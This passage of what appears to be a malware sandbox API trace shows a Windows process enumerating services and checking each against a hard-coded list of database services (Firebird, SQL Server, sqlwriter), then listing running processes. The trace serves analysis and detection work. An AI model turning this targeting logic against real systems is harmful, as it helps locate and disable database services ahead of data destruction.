dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0150.095] GetLastError () returned 0xea [0150.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x73b550 [0150.095] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x73b550, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x73b550, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0150.096] CloseServiceHandle (hSCObject=0x6eee00) returned 1 [0150.096] lstrlenW (lpString="Appinfo") returned 7 [0150.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0150.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0150.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0150.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0150.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0150.096] lstrlenW (lpString="AppXSvc") returned 7 [0150.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0150.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0150.096] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0150.096] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0150.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0150.096] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.096] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.097] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.097] lstrlenW (lpString="Audiosrv") returned 8 [0150.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0150.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0150.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0150.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0150.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0150.097] lstrlenW (lpString="BFE") returned 3 [0150.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.097] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.097] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.097] lstrlenW (lpString="BITS") returned 4 [0150.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0150.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0150.097] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0150.097] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0150.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0150.097] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0150.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0150.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0150.097] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0150.097] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0150.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0150.097] lstrlenW (lpString="CDPSvc") returned 6 [0150.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0150.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0150.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0150.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0150.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0150.098] lstrlenW (lpString="ClipSVC") returned 7 [0150.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0150.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0150.098] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0150.098] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0150.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0150.098] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0150.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0150.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0150.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0150.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0150.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0150.098] lstrlenW (lpString="CryptSvc") returned 8 [0150.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0150.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.098] lstrlenW (lpString="DcomLaunch") returned 10 [0150.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.098] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.098] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.098] lstrlenW (lpString="Dhcp") returned 4 [0150.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.099] lstrlenW (lpString="Dnscache") returned 8 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.099] lstrlenW (lpString="DoSvc") returned 5 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0150.099] lstrlenW (lpString="DPS") returned 3 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.099] lstrlenW (lpString="DusmSvc") returned 7 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0150.099] lstrlenW (lpString="EventLog") returned 8 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0150.099] lstrlenW (lpString="EventSystem") returned 11 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.099] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.099] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.099] lstrlenW (lpString="gpsvc") returned 5 [0150.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.100] lstrlenW (lpString="iphlpsvc") returned 8 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0150.100] lstrlenW (lpString="KeyIso") returned 6 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0150.100] lstrlenW (lpString="LanmanServer") returned 12 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0150.100] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.100] lstrlenW (lpString="lfsvc") returned 5 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0150.100] lstrlenW (lpString="LicenseManager") returned 14 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0150.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0150.100] lstrlenW (lpString="lmhosts") returned 7 [0150.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.100] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.100] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.101] lstrlenW (lpString="LSM") returned 3 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0150.101] lstrlenW (lpString="MpsSvc") returned 6 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.101] lstrlenW (lpString="NcbService") returned 10 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0150.101] lstrlenW (lpString="netprofm") returned 8 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0150.101] lstrlenW (lpString="NlaSvc") returned 6 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.101] lstrlenW (lpString="nsi") returned 3 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.101] lstrlenW (lpString="PcaSvc") returned 6 [0150.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.101] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.102] lstrlenW (lpString="PlugPlay") returned 8 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.102] lstrlenW (lpString="Power") returned 5 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.102] lstrlenW (lpString="ProfSvc") returned 7 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.102] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.102] lstrlenW (lpString="RpcSs") returned 5 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.102] lstrlenW (lpString="SamSs") returned 5 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.102] lstrlenW (lpString="Schedule") returned 8 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.102] lstrlenW (lpString="SecurityHealthService") returned 21 [0150.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0150.103] lstrlenW (lpString="SENS") returned 4 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.103] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.103] lstrlenW (lpString="sppsvc") returned 6 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0150.103] lstrlenW (lpString="SSDPSRV") returned 7 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0150.103] lstrlenW (lpString="StateRepository") returned 15 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0150.103] lstrlenW (lpString="SysMain") returned 7 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.103] lstrlenW (lpString="SystemEventsBroker") returned 18 [0150.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0150.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0150.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0150.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0150.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0150.104] lstrlenW (lpString="Themes") returned 6 [0150.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0150.110] Process32FirstW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.110] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.110] lstrlenW (lpString="System") returned 6 [0150.110] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.111] lstrlenW (lpString="smss.exe") returned 8 [0150.111] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.111] lstrlenW (lpString="csrss.exe") returned 9 [0150.111] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.112] lstrlenW (lpString="wininit.exe") returned 11 [0150.112] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 